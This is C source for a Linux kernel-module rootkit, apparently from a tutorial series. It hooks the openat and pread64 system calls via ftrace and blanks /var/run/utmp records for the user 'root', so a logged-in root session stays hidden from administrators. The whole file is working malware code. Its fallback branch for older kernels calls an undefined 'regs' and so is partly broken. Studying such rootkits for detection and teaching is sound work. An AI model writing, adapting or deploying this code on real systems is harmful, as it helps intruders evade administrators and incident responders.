#include <linux/init.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/syscalls.h> #include <linux/kallsyms.h> #include <linux/version.h> #include "utmp.h" #include "ftrace_helper.h" #define HIDDEN_USER "root" MODULE_LICENSE("GPL"); MODULE_AUTHOR("TheXcellerator"); MODULE_DESCRIPTION("Hiding logged in users"); MODULE_VERSION("0.01"); /* After Kernel 4.17.0, the way that syscalls are handled changed * to use the pt_regs struct instead of the more familiar function * prototype declaration. We have to check for this, and set a * variable for later on */ #if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0)) #define PTREGS_SYSCALL_STUBS 1 #endif /* * This will store the file descriptor that we are going to tamper pread64()'s to */ int tamper_fd; #ifdef PTREGS_SYSCALL_STUBS static asmlinkage long (*orig_openat)(const struct pt_regs *); static asmlinkage long (*orig_pread64)(const struct pt_regs *); /* * The hook for sys_openat() * We have to check which filename is being opened. If it matches "/var/run/utmp", * then we store the file descriptor (return value) in tamper_fd for later. */ asmlinkage int hook_openat(const struct pt_regs *regs) { //int dfd = regs->di; char *filename = (char *)regs->si; //int flags = regs->dx; //umode_t mode = regs->r10; char *kbuf; long error; char *target = "/var/run/utmp"; int target_len = 14; /* * We need a buffer to copy filename into */ kbuf = kzalloc(NAME_MAX, GFP_KERNEL); if(kbuf == NULL) return orig_openat(regs); /* * Copy filename from userspace into our kernel buffer */ error = copy_from_user(kbuf, filename, NAME_MAX); if(error) return orig_openat(regs); /* * Compare filename to "/var/run/utmp" */ if( memcmp(kbuf, target, target_len) == 0 ) { /* * Save the file descriptor in tamper_fd, clean up and return */ tamper_fd = orig_openat(regs); kfree(kbuf); return tamper_fd; } /* * Clean up and return */ kfree(kbuf); return orig_openat(regs); } /* * The hook for sys_pread64() * First, we check if the file descriptor is the one stored in tamper_fd. * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, * and check if the ut_user entry of the utmp struct is the user we want to hide. * Finally, if it matches, then we will the buffer with 0x0 before copying it back * to userspace and returning. */ asmlinkage int hook_pread64(const struct pt_regs *regs) { int fd = regs->di; char *buf = (char *)regs->si; size_t count = regs->dx; //loff_t pos = regs->r10; char *kbuf; struct utmp *utmp_buf; long error; int i, ret; /* * Check that we're supposed to be tampering with this fd * Better also be sure that tamper_fd isn't 0,1, or 2! */ if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) { /* * Allocate a kernel buffer, and check it worked */ kbuf = kzalloc(count, GFP_KERNEL); if (kbuf == NULL) return orig_pread64(regs); /* * Do the real syscall, so that buf gets filled for us */ ret = orig_pread64(regs); /* * Copy buf into kbuf so we can look at it * If it fails, just return without doing anything */ error = copy_from_user(kbuf, buf, count); if(error != 0) return ret; /* * Check if ut_user is the user we want to hide */ utmp_buf = (struct utmp *)kbuf; if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) { /* * Overwrite kbuf with 0x0 */ for ( i = 0 ; i < count ; i++ ) kbuf[i] = 0x0; /* * Copy kbuf back to buf in userspace * If it fails, there's nothing we can do, so just clean up and return */ error = copy_to_user(buf, kbuf, count); kfree(kbuf); return ret; } /* * We intercepted a read to /var/run/utmp, but didn't find the user * we want to hide, so clean up and return */ kfree(kbuf); return ret; } /* * This isn't a read to /var/run/utmp, so just return */ return orig_pread64(regs); } #else /* This is the old way of declaring a syscall hook */ static asmlinkage long (*orig_openat)(int dfd, const char __user *filename, int flags, umode_t mode); static asmlinkage long (*orig_pread64)(int fd, const __user *buf, size_t count, loff_t pos); /* * The hook for sys_openat() * We have to check which filename is being opened. If it matches "/var/run/utmp", * then we store the file descriptor (return value) in tamper_fd for later. */ static asmlinkage int hook_openat(int dfd, const char __user *filename, int flags, umode_t mode) { char *kbuf; long error; char *target = "/var/run/utmp"; int target_len = 14; /* * We need a buffer to copy filename into */ kbuf = kzalloc(NAME_MAX, GFP_KERNEL); if(kbuf == NULL) return orig_openat(regs); /* * Copy filename from userspace into our kernel buffer */ error = copy_from_user(kbuf, filename, NAME_MAX); if(error) return orig_openat(regs); /* * Compare filename to "/var/run/utmp" */ if( memcmp(kbuf, target, target_len) == 0 ) { /* * Save the file descriptor in tamper_fd, clean up and return */ tamper_fd = orig_openat(regs); kfree(kbuf); return tamper_fd; } /* * Clean up and return */ kfree(kbuf); return orig_openat(regs); } /* * The hook for sys_pread64() * First, we check if the file descriptor is the one stored in tamper_fd. * If it is, then we call the real sys_pread64(), copy the buffer into the kernel, * and check if the ut_user entry of the utmp struct is the user we want to hide. * Finally, if it matches, then we will the buffer with 0x0 before copying it back * to userspace and returning. */ static asmlinkage int hook_pread64(int fd, const __user *buf, size_t count, loff_t pos) { char *kbuf; struct utmp *utmp_buf; long error; int i, ret; /* * Check that we're supposed to be tampering with this fd * Better also be sure that tamper_fd isn't 0,1, or 2! */ if ( (fd == tamper_fd) && (tamper_fd != 0) && (tamper_fd != 1) && (tamper_fd != 2) ) { /* * Allocate a kernel buffer, and check it worked */ kbuf = kzalloc(count, GFP_KERNEL); if (kbuf == NULL) return orig_pread64(regs); /* * Do the real syscall, so that buf gets filled for us */ ret = orig_pread64(regs); /* * Copy buf into kbuf so we can look at it * If it fails, just return without doing anything */ error = copy_from_user(kbuf, buf, count); if(error != 0) return ret; /* * Check if ut_user is the user we want to hide */ utmp_buf = (struct utmp *)kbuf; if ( memcmp(utmp_buf->ut_user, HIDDEN_USER, strlen(HIDDEN_USER)) == 0 ) { /* * Overwrite kbuf with 0x0 */ for ( i = 0 ; i < count ; i++ ) kbuf[i] = 0x0; /* * Copy kbuf back to buf in userspace * If it fails, there's nothing we can do, so just clean up and return */ error = copy_to_user(buf, kbuf, count); kfree(kbuf); return ret; } /* * We intercepted a read to /var/run/utmp, but didn't find the user * we want to hide, so clean up and return */ kfree(kbuf); return ret; } /* * This isn't a read to /var/run/utmp, so just return */ return orig_pread64(regs); } #endif /* Declare the struct that ftrace needs to hook the syscall */ static struct ftrace_hook hooks[] = { HOOK("sys_openat", hook_openat, &orig_openat), HOOK("sys_pread64", hook_pread64, &orig_pread64), }; /* Module initialization function */ static int __init rootkit_init(void) { /* Hook the syscall and print to the kernel buffer */ int err; err = fh_install_hooks(hooks, ARRAY_SIZE(hooks)); if(err) return err; printk(KERN_INFO "rootkit: Loaded >:-)\n"); return 0; } static void __exit rootkit_exit(void) { /* Unhook and restore the syscall and print to the kernel buffer */ fh_remove_hooks(hooks, ARRAY_SIZE(hooks)); printk(KERN_INFO "rootkit: Unloaded :-(\n"); } module_init(rootkit_init); module_exit(rootkit_exit);